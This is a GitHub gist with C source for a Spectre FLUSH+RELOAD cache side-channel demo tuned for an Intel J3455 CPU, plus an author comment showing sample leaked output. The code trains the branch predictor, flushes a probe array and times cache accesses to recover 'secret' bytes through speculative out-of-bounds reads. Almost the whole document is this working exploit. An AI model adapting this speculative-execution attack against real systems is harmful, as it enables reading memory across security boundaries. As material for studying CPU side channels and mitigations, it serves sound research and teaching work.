Skip to content

Instantly share code, notes, and snippets.

@watbulb
Last active May 27, 2024 20:06
Show Gist options
  • Save watbulb/b2deb681499d83a0ed203fbacd35b759 to your computer and use it in GitHub Desktop.
Save watbulb/b2deb681499d83a0ed203fbacd35b759 to your computer and use it in GitHub Desktop.
a simple spectre FLUSH+RELOAD cache-hit side-channel demo (tuned for Intel J3455)
/*
* Simple Spectre FLUSH+RELOAD Cache Side-Channel
* Copyright @watbulb (Dayton Pidhirney)
*/
#include <stdint.h>
#include <stdio.h>
#include <x86intrin.h>
// Intel(R) Celeron(R) CPU J3455 @ 1.50GHz
#define CACHE_HIT_THRESHOLD 20
#define ARRAY1_SIZE 16
#define SECRET_SIZE 16
#define ARRAY2_SIZE (UINT8_MAX * 512)
static volatile uint8_t array1[ARRAY1_SIZE];
static volatile uint8_t secret[SECRET_SIZE] = {10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 69};
static uint8_t array2[ARRAY2_SIZE];
static const uint8_t array1_size = ARRAY1_SIZE;
__attribute__((noinline)) void setup() {
for (int i = 0; i < ARRAY1_SIZE; i++) {
array1[i] = i;
}
for (int i = 0; i < ARRAY2_SIZE; i++) {
array2[i] = 1;
}
}
__attribute__((noinline)) void victim_function(size_t x) {
volatile uint8_t temp = 0;
if (x < array1_size) { // Mispred [BRANCH]
temp = array2[secret[x] * 512];
}
}
__attribute__((noinline)) void flush_side_channel() {
// Flush array2 from the cache
for (int i = 0; i < UINT8_MAX; i++) {
_mm_clflush(&array2[i * 512]);
}
}
__attribute__((noinline)) void train_branch_predictor() {
int j = 0, z = 0;
do {
_mm_clflush(&array1_size); // Evict / Flush the victim branch predictor
do { ;; } while (z++ < 100); // Delay
victim_function(j % array1_size);
} while (j-- >= 0);
}
uint8_t read_byte(size_t x) {
// We skew the cache line eviction sizes based on our results index,
// the smaller the access width to the results array, the lower the bound
// in the secret match. If we increase the access and alignment, we
// cause a cache eviction closer to the upper bound of the secret
// match.
int64_t results[UINT8_MAX] = {0};
uint32_t mix_i = 0;
uint32_t tsc = 0;
uint64_t time1 = 0, time2 = 0;
volatile uint8_t *addr = 0;
volatile uint8_t needle = 0;
for (int tries = 1000; tries > 0; tries--) {
flush_side_channel();
train_branch_predictor();
// Try to leak data via speculation.
// Here we follow the branch predictor pattern to cause a speculated
// read depending on our X input, thus influencing branch decisions.
int z = 0;
_mm_clflush(&array1_size);
do { ;; } while (z++ < 100);
victim_function(x);
// Measure speculated access times
for (int i = 0; i < UINT8_MAX; i++) {
mix_i = ((i * 167 /* + tries */ ) + 13) & UINT8_MAX;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&tsc);
needle = (*addr);
time2 = (__rdtscp(&tsc) - time1);
if (time2 <= CACHE_HIT_THRESHOLD) {
results[mix_i]++;
}
}
}
// Find the index with the highest count (indicating a cache hit)
uint8_t max = 0;
for (uint8_t i = 1; i < UINT8_MAX; i++) {
if (results[i] > results[max]) {
max = i;
}
}
return max;
}
int main() {
setup();
// Read and print each byte of the secret based on misprediction results
while (1) {
for (size_t i = 0; i < SECRET_SIZE; i++) {
uint8_t value = read_byte(i);
printf("Secret[%zu] = %u\n", i, value);
}
}
return 0;
}
@watbulb
Copy link
Author

watbulb commented May 26, 2024

Depending on the sets and evictions, output should leak similar to:

Secret[0] = 10
Secret[1] = 10
Secret[2] = 10
Secret[3] = 13
Secret[4] = 14
Secret[5] = 10
Secret[6] = 10
Secret[7] = 17
Secret[8] = 10
Secret[9] = 19
Secret[10] = 20
Secret[11] = 21
Secret[12] = 22
Secret[13] = 10
Secret[14] = 24
Secret[15] = 69

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment